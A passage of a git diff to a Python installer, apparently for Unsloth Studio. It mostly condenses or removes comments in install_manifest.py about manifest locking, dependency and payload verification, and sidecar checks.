install_arg = Path(args.install_dir).expanduser()
@@ -12596,9 +11739,7 @@ def main() -> int:
published_release_tag = args.published_release_tag or "",
override_has_rocm = args.has_rocm,
override_rocm_gfx = args.rocm_gfx,
- # Only the transient rescue is passed as a mechanism. A deliberate CPU
- # choice arrives as the backend request below, which is what makes it
- # persist; --cpu-fallback stays unrecorded and heals to GPU (#6097).
+ # A deliberate CPU choice comes via the backend request and persists; --cpu-fallback heals to GPU.
force_cpu = args.cpu_fallback,
llama_backend = requested_backend_arg(args),
instruction_cleanup_root = install_arg.absolute(),
@@ -12617,9 +11758,7 @@ if __name__ == "__main__":
)
raise SystemExit(EXIT_BUSY)
except PrebuiltFallback as exc:
- # Expected when the published repo (e.g. ggml-org/llama.cpp) has no
- # prebuilt manifest. Exit quietly with EXIT_FALLBACK so the caller
- # falls back to source build without a noisy "fatal helper error".
+ # Expected when the repo has no manifest: exit quietly with EXIT_FALLBACK.
fatal = _environment_fatal_reason(exc)
if fatal:
_fail_no_space(f"prebuilt install failed: {fatal}")
diff --git a/studio/install_manifest.py b/studio/install_manifest.py
index 73181751923..2b87a121679 100644
--- a/studio/install_manifest.py
+++ b/studio/install_manifest.py
@@ -31,34 +31,23 @@ from urllib.parse import urlsplit
from typing import Dict, List, Optional, Sequence, Tuple
MANIFEST_NAME = "unsloth_install_manifest.json"
-# Where remove_manifest parks the completion manifest. Only the dependency pass reads it, as
-# evidence of the LAST completed pass; verify_install, the setup fast path and the desktop preflight
-# never do, so a venv without a live manifest still reads as half-built.
+# Only the dependency pass reads it; verify_install and the fast path never do.
PREVIOUS_MANIFEST_NAME = "unsloth_install_manifest.previous.json"
-# Serialises the three writers below ACROSS processes. The CLI guards two updates of one venv,
-# but the shells and the installer can be driven directly, and the MLX probe rewrites the
-# manifest minutes after the pass ends: unserialised, one writer's replace can land between
-# another's remove and its mutations and recreate a completion marker over a half-built venv.
+# Serialises writers across processes: the MLX probe rewrites the manifest minutes after the pass,
+# and an unserialised replace could recreate a completion marker over a half-built venv.
LOCK_NAME = "unsloth_install_manifest.lock"
-# Held for a whole pass by the installer, and only ever tested, never waited on: see pass_lock.
PASS_LOCK_NAME = "unsloth_install_pass.lock"
-# How long a writer waits for a peer before going ahead unserialised, matching msvcrt's
-# LK_LOCK. These writers take milliseconds, and a peer killed holding the lock must not wedge
-# every later update.
+# A peer killed holding the lock must not wedge every later update.
LOCK_WAIT_SECONDS = 10.0
MANIFEST_SCHEMA = 1
# Canonical truthy set for UNSLOTH_NO_TORCH, matching install.ps1 / install.sh.
NO_TORCH_TRUTHY: Tuple[str, ...] = ("1", "true", "yes", "on")
-# The manifest is dropped before every dependency pass, so it cannot answer for a run killed mid-pass; this marker
-# outlives it, or an interrupted GGUF-only install reads as a stale venv.
-# Companion to the no_torch manifest key, next to setup.ps1's .unsloth-studio-owned; the next update then tries to
-# delete the venv it is running out of.
+# Outlives the manifest (dropped before every pass), so an interrupted GGUF-only install is not stale.
NO_TORCH_MARKER = ".unsloth-no-torch"
# Fingerprinted into the manifest, relative to studio/backend/requirements/.
-# Editing one (a --local install) invalidates it and forces a dependency pass.
TRACKED_REQUIREMENT_FILES: Tuple[str, ...] = (
"studio.txt",
"base.txt",
@@ -69,12 +58,10 @@ TRACKED_REQUIREMENT_FILES: Tuple[str, ...] = (
"single-env/data-designer.txt",
)
-# The import chain studio/backend/run.py walks on startup.
BOOT_REQUIREMENT_FILE = "studio.txt"
-# Every file the dependency pass reads, recorded under the additive `pass_inputs` key. NOT folded
-# into TRACKED_REQUIREMENT_FILES: verify_install compares that whole dict, so one new name would
-# report every install in the field as changed and buy each a repair pass.
+# NOT in TRACKED_REQUIREMENT_FILES: verify_install compares that dict, so a new name would
+# mark every install changed.
PASS_INPUT_FILES: Tuple[str, ...] = TRACKED_REQUIREMENT_FILES + (
"diffusers-pin.txt",
"triton-kernels.txt",
@@ -83,9 +70,7 @@ PASS_INPUT_FILES: Tuple[str, ...] = TRACKED_REQUIREMENT_FILES + (
"single-env/overrides-darwin-arm64.txt",
)
-# Written beside a sidecar directory by setup.sh / setup.ps1 and by the runtime self-heal in
-# studio/backend/utils/transformers_version.py. Absent means not ours to delete, so not current
-# either: a rebuild is the only repair, and it starts with rm.
+# Absent means not ours to delete, so not current either.
SIDECAR_OWNED_MARKER = ".unsloth-studio-owned"
@@ -216,12 +201,8 @@ def _installed_metadata_records(dist_name: str) -> List[Tuple[str, Optional[Path
wanted = _canonical(dist_name)
paths = _metadata_scan_paths()
- # The listing cache is keyed on the directory's st_mtime, so a dist-info added since an earlier
- # scan in this process stays invisible while that mtime holds (two writes in one tick; exFAT 2s,
- # HFS+ 1s), and a damaged install verifies as healthy. Via an INSTANCE: invalidate_caches only
- # became a classmethod in 3.11.9 / 3.12.3 (gh-116811), and importlib.invalidate_caches() gained
- # its delegation there too, so before those neither the class call nor the caller works. 3.9
- # resolves it to MetaPathFinder's no-op, which is right: its FastPath does not cache.
+ # The listing cache is keyed on directory mtime, so a new dist-info can stay invisible.
+ # Via an INSTANCE: invalidate_caches is a classmethod only from 3.11.9 / 3.12.3.
if getattr(MetadataPathFinder, "invalidate_caches", None) is not None:
MetadataPathFinder().invalidate_caches()
kwargs = {"path": paths} if paths else {}
@@ -240,9 +221,6 @@ def _installed_metadata_records(dist_name: str) -> List[Tuple[str, Optional[Path
continue
except Exception:
pass
- # A nameless or unreadable matching record is itself a conflict. Wheel
- # metadata directory names escape name separators as underscores, so
- # splitting off the final version is unambiguous.
stem = record_path.name if record_path is not None else ""
path_name, separator, _version = stem.removesuffix(".dist-info").rpartition("-")
if stem.endswith(".dist-info") and separator and _canonical(path_name) == wanted:
@@ -341,9 +319,7 @@ def _publish_json(
try:
with os.fdopen(descriptor, "w", encoding = "utf-8") as handle:
handle.write(text)
- # mkstemp creates at 0600, where write_text gave the umask default (0644 on a stock
- # box). Narrowing it is a change nobody asked for, so keep the mode the manifest
- # already has, or the umask default: a tightening the user chose stays theirs.
+ # mkstemp creates 0600; keep the manifest's existing mode or the umask default.
try:
mode = path.stat().st_mode & 0o777
except OSError:
@@ -383,8 +359,7 @@ def _manifest_lock(root: Optional[Path] = None):
handle = None
locked = False
try:
- # O_NOFOLLOW where it exists, or a symlink on the reserved name would be followed and
- # open a file somewhere else. Never O_TRUNC: nothing is written, the lock is the fd.
+ # O_NOFOLLOW so a symlink on the reserved name is not followed.
descriptor = os.open(
(root or venv_root()) / LOCK_NAME,
os.O_RDWR | os.O_CREAT | getattr(os, "O_NOFOLLOW", 0),
@@ -397,8 +372,7 @@ def _manifest_lock(root: Optional[Path] = None):
try:
import fcntl # noqa: PLC0415 - POSIX only, and absent on Windows
- # Non-blocking with a deadline, never a bare LOCK_EX: that waits forever on a
- # peer suspended while holding it.
+ # Non-blocking with a deadline: LOCK_EX waits forever on a suspended peer.
deadline = time.monotonic() + LOCK_WAIT_SECONDS
while True:
try:
@@ -406,8 +380,7 @@ def _manifest_lock(root: Optional[Path] = None):
locked = True
break
except OSError as exc:
- # Only contention is worth waiting out. A mount that does not implement
- # locking answers at once and would cost the deadline on every write.
+ # Mounts without locking answer at once and must not cost the deadline on every write.
if exc.errno not in (
errno.EWOULDBLOCK,
errno.EAGAIN,
@@ -423,8 +396,6 @@ def _manifest_lock(root: Optional[Path] = None):
import msvcrt # noqa: PLC0415 - the Windows half of the same thing
handle.seek(0)
- # LK_LOCK retries for ~10 s and then raises; an update that waits longer than
- # that on a stale lock has to proceed, or a crashed peer strands every later run.
msvcrt.locking(handle.fileno(), msvcrt.LK_LOCK, 1)
locked = True
except (ImportError, OSError):
@@ -432,8 +403,6 @@ def _manifest_lock(root: Optional[Path] = None):
except (OSError, ValueError):
locked = False
try:
- # The flag, not just the block: a writer that may only publish while it really holds the
- # lock has to be able to ask, and the two that must never fail an install can ignore it.
yield locked
finally:
_release_lock(handle, locked)
@@ -491,8 +460,6 @@ def pass_lock(root: Optional[Path] = None):
fcntl.flock(handle.fileno(), fcntl.LOCK_EX | fcntl.LOCK_NB)
locked = True
except OSError as exc:
- # Only these mean a peer holds it. Anything else is a mount that does not
- # implement locking, which must not cost every step its evidence.
contended = exc.errno in (errno.EWOULDBLOCK, errno.EAGAIN, errno.EACCES)
except ImportError:
try:
@@ -530,8 +497,6 @@ def remove_manifest(root: Optional[Path] = None) -> bool:
return _remove_manifest_locked(root, path, parked)
-# What "not there" looks like, which is what pathlib ignored before 3.14: the name is absent,
-# a path component is not a directory, the descriptor is bad, or a symlink chain does not land.
_ABSENT_ERRNOS = frozenset({errno.ENOENT, errno.ENOTDIR, errno.EBADF, errno.ELOOP})
@@ -548,7 +513,6 @@ def manifest_is_present(path: Path) -> bool:
except OSError as exc:
return exc.errno not in _ABSENT_ERRNOS
except ValueError:
- # A path this interpreter cannot encode holds no manifest.
return False
return True
@@ -557,17 +521,11 @@ def _remove_manifest_locked(root: Optional[Path], path: Path, parked: Path) -> b
try:
os.replace(path, parked)
except FileNotFoundError:
- # No live manifest: an interrupted run took it. Nothing was parked by this call, so a
- # copy on the reserved name is that dead run's and must go the same way, or the pass
- # reads it as evidence and refuses behind one it cannot clear -- on Windows after
- # setup.ps1's mutations. Losing a dead run's evidence only costs a full pass.
+ # A copy on the reserved name belongs to a dead run; remove it or the pass refuses behind it.
consume_previous_manifest(root)
return not manifest_is_present(parked)
except OSError:
- # The rename was refused. Clear the reserved name and retry before falling back to
- # the unlink: setup.ps1 reads True as permission to replace pip, torch and triton, and
- # the pass refuses behind a parked copy it cannot clear. Dropping the live manifest
- # first would put that refusal after the mutations, on a venv that cannot verify.
+ # Clear the reserved name and retry before unlinking: setup.ps1 reads True as permission to mutate.
consume_previous_manifest(root)
if manifest_is_present(parked):
return False
@@ -619,10 +577,7 @@ def read_previous_manifest(root: Optional[Path] = None) -> Optional[dict]:
return data if isinstance(data, dict) else None
-# The keys write_manifest owns and the only ones verify_install, the setup fast path and
-# desktop-capabilities decide on. Additive evidence (`extra`, update_manifest kwargs) may never
-# shadow one: rewriting `package_version` would falsely validate an install, and absent means
-# "unknown", which evidence must not invent. ONE constant, or the two writers would disagree.
+# Additive evidence may never shadow these keys; one constant so both writers agree.
PROTECTED_MANIFEST_KEYS: Tuple[str, ...] = (
"schema",
"completed_at_ms",
@@ -636,8 +591,6 @@ PROTECTED_MANIFEST_KEYS: Tuple[str, ...] = (
"no_torch",
"expected_torch_tag",
"expected_torch_tag_pinned",
- # Validated on write (NVIDIA's own https channel, no userinfo/query/fragment) and read back
- # as an index to install from, so caller-composed evidence must not be able to name it.
"woa_torch_index",
)
@@ -664,31 +617,23 @@ def write_manifest(
"platform": f"{sys.platform}-{platform.machine()}",
"prefix": str(venv_root()),
"steps_total": steps_total,
- # The venv's own copy wins over the caller's: verify_install reads the installed package's requirements, so
- # recording the installer's would compare two trees and call a finished install stale.
+ # verify_install reads the installed package's requirements, so record the venv's copy.
"requirement_files": requirement_digests(installed_requirements_root(root) or req_root),
}
- # Additive, so MANIFEST_SCHEMA does not move and existing manifests stay valid. Absent means
- # "unknown", NOT False: only a manifest written by a build that knew the key can answer. Recorded
- # because install.ps1 / install.sh export UNSLOTH_NO_TORCH for their own run only, so a later
- # `unsloth studio update` would otherwise reinstall torch into a GGUF-only venv.
+ # Absent means "unknown", NOT False. Recorded because UNSLOTH_NO_TORCH is exported for one run only,
+ # so a later update would reinstall torch into a GGUF-only venv.
if no_torch is not None:
payload["no_torch"] = bool(no_torch)
- # The FLAVOR, never the index URL it came from: a pinned index can carry a token in its userinfo, query or fragment,
- # and this file lives in the venv and is read back by verify-install, desktop-capabilities and the setup fast path.
+ # The FLAVOR, never the index URL: a pinned index can carry a token.
if expected_torch_tag:
payload["expected_torch_tag"] = str(expected_torch_tag).strip().lower()
- # Whether that flavor was NAMED by whoever ran the install, or merely what the selection
- # landed on: setup.ps1 picks /cpu automatically on a GPU-less host and publishes it exactly
- # as it publishes a pinned one, and reading the automatic case as deliberate leaves a later
- # eGPU with no repair offered. Absent means unknown, as with every other additive key.
+ # setup.ps1 picks /cpu automatically on GPU-less hosts; only a named flavor is deliberate.
if expected_torch_tag_pinned is not None:
payload["expected_torch_tag_pinned"] = bool(expected_torch_tag_pinned)
- # Windows on ARM has no CUDA wheels on download.pytorch.org, so a fresh shell cannot re-derive.
- # Only NVIDIA's own channels, with no userinfo, query or fragment: a mirror is not persisted.
+ # Windows on ARM has no CUDA wheels on download.pytorch.org. Only NVIDIA's channels are persisted.
if woa_torch_index:
candidate = str(woa_torch_index).strip()
- # urlsplit raises on a malformed authority, which would break the never-raises contract. Scheme and host compare case-insensitively (RFC 3986); the path keeps its case.
+ # urlsplit raises on a malformed authority, breaking the never-raises contract.
try:
parsed = urlsplit(candidate)
_woa_ok = (
@@ -700,28 +645,20 @@ def write_manifest(
)
except ValueError:
_woa_ok = False
- # netloc, not hostname: hostname strips ":443", so a value with a port is refused. Equality drops userinfo with it.
+ # netloc, not hostname: hostname strips ":443", so a value with a port is refused.
if _woa_ok:
payload["woa_torch_index"] = "https://pypi.nvidia.com" + parsed.path.rstrip("/")
- # The dependency pass's own evidence (`pass_inputs`, `step_results`, `pip_check_ok`, ...):
- # additive, never authoritative, every consumer re-verifies on disk. None is dropped so "absent
- # means unknown" holds, and nothing may shadow a field verify_install reads.
for key, value in (extra or {}).items():
if value is None or key in payload or key in PROTECTED_MANIFEST_KEYS:
continue
payload[key] = value
path = manifest_path(root)
try:
- # The lock the other two writers take: this marker means the install finished and must
- # not interleave with another process dropping it. The temp copy is written under it
- # too, since that name belongs to whichever writer holds the lock.
with _manifest_lock(root):
_publish_json(path, payload)
- # TypeError/ValueError too: `extra` is caller-composed, and raising here would abort a pass
- # that has already installed everything, leaving a venv with no manifest at all.
+ # `extra` is caller-composed; raising here would leave a finished venv with no manifest.
except (OSError, TypeError, ValueError):
return None
- # The parked copy described the previous pass; the live file now does.
try:
previous_manifest_path(root).unlink()
except OSError:
@@ -749,22 +686,16 @@ def update_manifest(root: Optional[Path] = None, **extra: object) -> bool:
return False
path = manifest_path(root)
try:
- # Read, merge and replace inside the lock. The caller spends minutes gathering this
- # (the MLX probe waits up to 180 s), so a manifest read before that can be a different
- # one by now: another updater may have removed it and finished a new pass, and merging
- # into the old copy would put its fields back.
+ # Read, merge and replace inside the lock: the caller's data may be minutes old.
with _manifest_lock(root) as locked:
if not locked:
- # Advisory evidence only. A peer that timed out this lock is mid-pass, and
- # publishing beside it could put its removed marker back over a half-built
- # venv. Losing what this merges costs one probe.
+ # A peer that timed out this lock is mid-pass; publishing could restore its removed marker.
return False
data = read_manifest(root)
if data is None:
return False
data.update(values)
- # only_if_present: a peer on an older build of this module removes without taking
- # the lock, so the file is checked as late as it can be.
+ # Older peers remove without the lock, so check presence as late as possible.
if not _publish_json(path, data, only_if_present = True):
return False
except (OSError, TypeError, ValueError):
@@ -775,7 +706,6 @@ def update_manifest(root: Optional[Path] = None, **extra: object) -> bool:
def read_manifest(root: Optional[Path] = None) -> Optional[dict]:
try:
raw = manifest_path(root).read_text(encoding = "utf-8")
- # UnicodeDecodeError is a ValueError.
except (OSError, ValueError):
return None
try:
@@ -818,11 +748,8 @@ def recorded_no_torch(root: Optional[Path] = None) -> Optional[bool]:
value = manifest.get("no_torch")
if isinstance(value, bool):
return value
- # Tolerate a hand-edited manifest that used a string.
if isinstance(value, str):
return value.strip().lower() in NO_TORCH_TRUTHY
- # No manifest (dropped before the dependency pass, or the install was killed
- # during it) or one predating the key: the marker is the durable answer.
try:
if no_torch_marker_path(root).exists():
return True
@@ -867,10 +794,7 @@ def recorded_torch_flavor_was_pinned(root: Optional[Path] = None) -> bool:
manifest = read_manifest(root)
if manifest is None:
return False
- # An ACTUAL boolean. bool("false") is True, so a migrated or hand-edited manifest
- # carrying the string would read as a deliberate pin and suppress the repair on a
- # host that never chose one. Anything that is not a bool is unknown provenance, and
- # the safe answer for unknown is the same False an absent key gets.
+ # An ACTUAL boolean: bool("false") is True.
return manifest.get("expected_torch_tag_pinned") is True
@@ -913,7 +837,6 @@ def _marker_applies(marker: str) -> bool:
try:
from packaging.markers import Marker
except Exception:
- # No packaging: assume it applies. Over-reporting costs one extra pass.
return True
try:
return bool(Marker(marker).evaluate())
@@ -975,10 +898,7 @@ def missing_requirements(
return missing
-# A closure walk that never finishes (a wedged network mount) is a full pass on every update.
-# Generous: 400 distributions cost well under a second in memory.
CLOSURE_SCAN_BUDGET_SECONDS = 10.0
-# Belt to the deadline's braces: a cycle that never repeats a (name, extras) key still stops.
_CLOSURE_MAX_VISITS = 20000
@@ -999,30 +919,23 @@ def installed_dependency_index() -> Optional[Dict[str, Tuple[str, List[str]]]]:
try:
index: Dict[str, Tuple[str, List[str]]] = {}
for dist in distributions(path = _metadata_scan_paths()):
- # An interrupted pip upgrade leaves the old metadata renamed to ~ame-1.0.dist-info
- # with its payload gone. pip ignores those; so must this, or a closure reads an
- # unimportable package as installed and its step skips the reinstall that repairs it.
+ # An interrupted pip upgrade leaves ~ame-1.0.dist-info with no payload; pip ignores those.
if _is_pip_backup(dist):
continue
try:
name = dist.metadata["Name"]
version = dist.version
except Exception:
- # Unreadable metadata is damage other checks report; it must not take the index
- # down.
continue
if not name or not version:
continue
key = _canonical(str(name))
- # First wins, as sys.path precedence does; a duplicate is metadata_conflict()'s to
- # report.
if key in index:
continue
try:
requires = list(dist.requires or [])
except Exception:
- # Fails closed: unreadable Requires-Dist is not a leaf, or a step would skip a
- # closure it never walked.
+ # Fails closed, or a step would skip a closure it never walked.
return None
index[key] = (str(version), requires)
return index
@@ -1077,14 +990,12 @@ def closure_unmet_requirements(
return ["<requirements unreadable>"]
deadline = time.monotonic() + budget_seconds if budget_seconds > 0 else None
- # (raw requirement, the extras in scope for it); the top level has no extra.
pending: List[Tuple[str, Tuple[str, ...]]] = []
for line in lines:
text = line.split("#", 1)[0].strip()
if not text:
continue
if text.startswith("-"):
- # A pip flag; an `-r` include would hide requirements from this walk entirely.
return [f"<flag line: {text}>"]
pending.append((text, ("",)))
@@ -1111,8 +1022,6 @@ def closure_unmet_requirements(
if not applies:
continue
if requirement.url:
- # A direct reference is satisfied by whatever landed; _direct_reference_is_installed
- # answers for the one --no-deps step that has one.
return [f"{requirement.name} (direct reference)"]
key = _canonical(requirement.name)
record = index.get(key)
@@ -1122,8 +1031,6 @@ def closure_unmet_requirements(
continue
version, requires = record
if requirement.specifier and not requirement.specifier.contains(version, prereleases = True):
- # Recorded, and the walk goes on: what an installed distribution requires is still
- # closure.
entry = f"{requirement.name} {version}"
if entry not in unmet:
unmet.append(entry)
@@ -1132,9 +1039,7 @@ def closure_unmet_requirements(
if visit_key in seen:
continue
seen.add(visit_key)
- # foo[bar] puts "bar" in scope for foo's `extra == "bar"` markers. Both spellings: PEP 685
- # normalisation inside markers is newer than many wheels, and matching only "all-files"
- # would drop an `extra == "all_files"` subtree.
+ # Both spellings: PEP 685 marker normalisation is newer than many wheels.
child_contexts = ("", *extras, *requirement.extras)
pending.extend((child, child_contexts) for child in requires)
return unmet
@@ -1168,18 +1073,14 @@ def violated_constraints(
if not specifier or not _marker_applies(marker):
continue
if metadata_conflict(installed_versions(name)):
- # Two records, or an unreadable one: a record violating the pin can stand behind one
- # that meets it. Ambiguous is stale, not absent; the skipped step is what would fix it.
violated.append(name)
continue
version = _installed_version(name, installed)
- # Absent is not a violation; unparseable metadata is, since the skipped step would fix it.
if version and not _version_satisfies(version, specifier):
violated.append(name)
return violated
-# Shared between wheels, so one uninstall deletes another's recorded files.
# Mirrors _SHARED_NON_RUNTIME_ROOTS in unsloth_cli/_studio_deps.py.
_SHARED_NON_RUNTIME_ROOTS = frozenset(
(
@@ -1197,17 +1098,13 @@ _SHARED_NON_RUNTIME_ROOTS = frozenset(
)
)
-# `_move_launcher_aside` renames this before setup, so setup.ps1's deep check
-# sees it missing on every healthy Windows update. Nothing else is staged, so
-# nothing else is excused, or a stray sibling could hide any quarantine.
+# `_move_launcher_aside` renames this before setup; nothing else is excused.
_STAGED_LAUNCHER_NAME = "unsloth.exe"
_STAGED_LAUNCHER_SUFFIXES = (".update-stale", ".update-backup", ".deleteme")
-# Rewritten in place by our own setup: the size claim is waived, absence is not.
_INSTALLER_REWRITTEN_NAMES = frozenset(("package-lock.json",))
-# `npm run build` in the installed tree rehashes every asset, so RECORD names
-# files our own setup deleted. Skipped whole: they are gone, not shorter.
+# `npm run build` rehashes every asset, so RECORD names files our setup deleted.
_INSTALLER_REGENERATED_TREES = (("studio", "frontend", "dist"),)
@@ -1258,7 +1155,6 @@ def _venv_anchor(site_packages: Path) -> Optional[Path]:
current = site_packages.resolve()
except OSError:
return None
- # site-packages is 2 (Windows) or 3 (posix) below the prefix.
for _ in range(4):
if (current / "pyvenv.cfg").is_file():
return current
@@ -1268,8 +1164,7 @@ def _venv_anchor(site_packages: Path) -> Optional[Path]:
return None
-# Neither installer wraps the scan in a timeout, so a stalled mount would wedge
-# setup. Warm cost of the largest real case is ~65ms.
+# Neither installer wraps the scan in a timeout, so a stalled mount would wedge setup.
PAYLOAD_SCAN_BUDGET_SECONDS = 5.0
@@ -1310,8 +1205,6 @@ def damaged_payload_files(
worker = threading.Thread(target = scan, daemon = True)
worker.start()
- # The walk's deadline is the ordinary way out and reports what it found;
- # this margin only bounds the wait for a call that is not coming back.
worker.join(budget_seconds + 1.0)
return done[0] if done else []
@@ -1347,8 +1240,7 @@ def _scan_payload_files(
except Exception:
continue
if not record:
- # uv and pip write RECORD last, so a .dist-info without one was interrupted; only
- # egg-info never had one. Unreadable still says nothing.
+ # uv and pip write RECORD last, so a .dist-info without one was interrupted.
dist_path = str(getattr(dist, "_path", "") or "")
if dist_path.endswith(".dist-info"):
found.append(f"{name}: RECORD is missing")
@@ -1361,7 +1253,6 @@ def _scan_payload_files(
anchor = None
# csv, not splitlines: a quoted field may hold a newline
for row in csv.reader(io.StringIO(record, newline = "")):
- # Every row: batching this let one slow mount overrun 5s by a minute.
if deadline is not None and time.monotonic() > deadline:
return found
rel = row[0] if row else ""
@@ -1379,9 +1270,7 @@ def _scan_payload_files(
continue
try:
target = dist.locate_file(rel)
- # `..` is ordinary for console scripts and data files.
- # Bounded rather than skipped: a quarantined `bin/unsloth`
- # leaves the tree intact and the command gone.
+ # `..` is ordinary for console scripts; bounded so a quarantined `bin/unsloth` is still caught.
if ".." in parts and (anchor is None or not _within(Path(target), anchor)):
continue
info = target.stat()
@@ -1389,10 +1278,8 @@ def _scan_payload_files(
if not _staged_beside(target):
found.append(f"{rel} is missing")
except NotADirectoryError:
- # Not a FileNotFoundError: a parent replaced by a file.
found.append(f"{rel} is not reachable")
except OSError:
- # Unreadable is not missing, and a reinstall cannot fix it.
continue
else:
if not stat.S_ISREG(info.st_mode):
@@ -1453,8 +1340,6 @@ def verify_install(
elif manifest.get("schema") != MANIFEST_SCHEMA:
reason = "studio_install_manifest_schema"
else:
- # `update --package X` records X, so comparing against unsloth would
- # report a permanent version change.
manifest_package = manifest.get("package") or package_name
if installed is None:
companions = () if _canonical(manifest_package) == "unsloth-zoo" else ("unsloth-zoo",)
@@ -1467,9 +1352,6 @@ def verify_install(
_canonical(manifest_package) != "unsloth-zoo" and "unsloth-zoo" in foreign_conflicts
)
recorded = manifest.get("package_version")
- # Every check below compares against `current`, which an absent
- # distribution passes -- as does a manifest written with no version at
- # all, which is what write_manifest records for one already gone.
vanished = not current
if core_conflict or local_conflict:
reason = "studio_install_metadata_conflict"
@@ -1481,19 +1363,11 @@ def verify_install(
manifest_ok = True
if manifest_ok and not deps_ok:
- # Install finished but the boot deps are gone: venv edited afterwards.
reason = "studio_deps_missing"
- # Last: the only check that touches the filesystem.
if manifest_ok and deps_ok and deep and (installed is None or scan_paths):
- # Reused, not re-read: a manifest rewritten mid-run would make the scan
- # disagree with the checks that already passed.
scan_package = (manifest or {}).get("package") or package_name
- # unsloth-zoo only for the default install: `--package X` installs X
- # alone, so its neighbours are not ours to repair.
companions = ("unsloth-zoo",) if _canonical(scan_package) == "unsloth" else ()
- # No dist-info leaves the scan nothing to walk, and no check above ever
- # looked at the companion's version.
if not vanished:
for companion in companions:
present = (
@@ -1519,13 +1393,9 @@ def verify_install(
}
-# Sidecar directories: flat `pip --target` trees the training worker prepends to sys.path; nothing
-# here may import from one. MIRRORED from `_venv_dir_is_valid` + `_sidecar_scan_impl` in
-# studio/backend/utils/transformers_version.py, which the stdlib-only installer cannot import. Keep
-# them in sync: the runtime self-heal rebuilds on every request otherwise.
+# MIRRORED from `_venv_dir_is_valid` + `_sidecar_scan_impl` in
+# studio/backend/utils/transformers_version.py, which the stdlib-only installer cannot import. Keep in sync.
-# Version-tagged extension suffixes (.cpython-313-darwin.so, .cp313-win_amd64.pyd, .cpython-314t-*).
-# Untagged and pypy/graalpy/debug spellings report nothing rather than guess.
_EXT_VERSION_TAG_RE = re.compile(r"\.(?:cpython-|cp)(\d{2,}t?)\b")
# Stable-ABI binaries: fine on a GIL build, a SIGSEGV on a free-threaded one.
_ABI3_EXT_RE = re.compile(r"\.abi3\.(?:so|pyd)$")
@@ -1559,7 +1429,6 @@ def _sidecar_payload_present(root: Path, dist) -> bool:
return False
for entry in recorded:
parts = tuple(part for part in str(entry).replace("\\", "/").split("/") if part)
- # `..` escapes the tree (pip records ../../bin/hf) and metadata is not payload.
if (
not parts
or ".." in parts
@@ -1586,8 +1455,6 @@ def _sidecar_pin_ok(root: Path, spec: str) -> Optional[str]:
return None
canonical = _canonical(name)
module = canonical.replace("-", "_")
- # The package tree itself, as _venv_dir_is_valid checks it: a dist-info outlives its payload.
- # Two stats answer most pins; the RECORD fallback is for names that are not a directory.
directory_present = any((root / candidate).is_dir() for candidate in (module, canonical))
found: List[str] = []
payload_present = False
@@ -1600,13 +1467,10 @@ def _sidecar_pin_ok(root: Path, spec: str) -> Optional[str]:
if _canonical(dist_name) != canonical:
continue
found.append(dist.version or "")
- # Only when the directory probe came up empty: reading a RECORD per pin per update is
- # what the stats avoid.
if not directory_present and not payload_present:
payload_present = _sidecar_payload_present(root, dist)
except Exception:
return f"{name} metadata unreadable"
- # An optional package absent, or a bare dist-info, is the top-up's business, not a rebuild.
if canonical in OPTIONAL_SIDECAR_PACKAGES and (
not found or (not directory_present and not payload_present)
):
@@ -1650,16 +1514,13 @@ def _sidecar_damaged_files(
return []
for dist_info in dist_infos:
name = dist_info.name.split("-")[0]
- # Stricter than _sidecar_scan_impl on purpose: setup can rebuild to converge, the runtime cannot.
try:
record = (dist_info / "RECORD").read_text(encoding = "utf-8", errors = "replace")
except FileNotFoundError:
- # No RECORD under a pinned dist-info is an interrupted install the size check cannot see.
if _canonical(name) in required_names:
recordless.append(f"{name}: RECORD is missing")
continue
except OSError:
- # Unreadable says nothing about damage.
continue
try:
rows = list(csv.reader(io.StringIO(record)))
@@ -1672,8 +1533,6 @@ def _sidecar_damaged_files(
if ".dist-info/" in rel or ".egg-info/" in rel or rel.endswith(".pyc"):
continue
parts = tuple(part for part in rel.replace("\\", "/").split("/") if part)
- # Console scripts (pip records ../../bin/hf, uv bin/hf) fail CLOSED on a healthy
- # sidecar; nothing here is ever on PATH.
if (
rel.startswith("/")
or (len(rel) > 1 and rel[1] == ":")
@@ -1683,7 +1542,6 @@ def _sidecar_damaged_files(
continue
target = root / rel
key = os.path.normcase(str(target))
- # Before the filter: a dropped row still owns its path.
owners[key] = owners.get(key, 0) + 1
if len(parts) > 1 and parts[0] in _SHARED_NON_RUNTIME_ROOTS:
continue
@@ -1699,7 +1557,6 @@ def _sidecar_damaged_files(
if len(found) >= limit:
return found
for name, rel, recorded, target, key in entries:
- # Every row: a batched deadline let one slow mount overrun it by a minute.
if deadline is not None and time.monotonic() > deadline:
return found
try:
@@ -1707,18 +1564,14 @@ def _sidecar_damaged_files(
except (FileNotFoundError, NotADirectoryError):
found.append(f"{name}: {rel} is missing")
except OSError:
- # Unreadable is not gone; a wrong answer costs a several-hundred-MB refetch.
continue
else:
if not stat.S_ISREG(info.st_mode):
found.append(f"{name}: {rel} is not a regular file")
- # A path two distributions claim makes the SIZES ambiguous: larger is a collision, not
- # damage.
+ # A path two distributions claim makes sizes ambiguous: a collision, not damage.
elif owners[key] == 1 and recorded is not None and info.st_size < recorded:
found.append(f"{name}: {rel} is {info.st_size} bytes, expected {recorded}")
elif rel.endswith((".so", ".pyd")):
- # The BASENAME alone: a tagged directory (pkg.cp312.libs/) says nothing about the
- # file.
base = rel.replace("\\", "/").rsplit("/", 1)[-1]
match = _EXT_VERSION_TAG_RE.search(base)
if match and match.group(1) != ext_tag:
@@ -1735,7 +1588,7 @@ def _sidecar_damaged_files(
return found
-# Mirrors transformers_version: the escape hatch for a false positive must hold on the setup side too.
+# Mirrors transformers_version: the false-positive escape hatch must hold on the setup side too.
OPTIONAL_SIDECAR_PACKAGES = frozenset({"tiktoken"})
SIDECAR_FILE_CHECK_ENV = "UNSLOTH_SKIP_SIDECAR_FILE_CHECK"
@@ -1785,9 +1638,8 @@ def sidecar_is_current(
return True, ""
-# CLI shim: one `sidecar_is_current` for both shells, whose reimplementations drifted last time.
-# Exit 0 current, 1 not, 2 unimplemented. Both shells also require the marker line: an
-# install_manifest.py without this block exits 0 with no output.
+# Exit 0 current, 1 not, 2 unimplemented. Shells also require the marker line: an older
+# install_manifest.py exits 0 with no output.
_SIDECAR_CLI_MARKER = "sidecar:"
diff --git a/studio/install_mxc_prebuilt.py b/studio/install_mxc_prebuilt.py
index 7dc2607c328..f18b99628d1 100644
--- a/studio/install_mxc_prebuilt.py
+++ b/studio/install_mxc_prebuilt.py
@@ -131,7 +131,7 @@ def install_mxc_release(install_dir: Path) -> bool:
try:
with tarfile.open(archive, "r:gz") as bundle:
for target, entry in _validate_archive_entries(bundle).items():
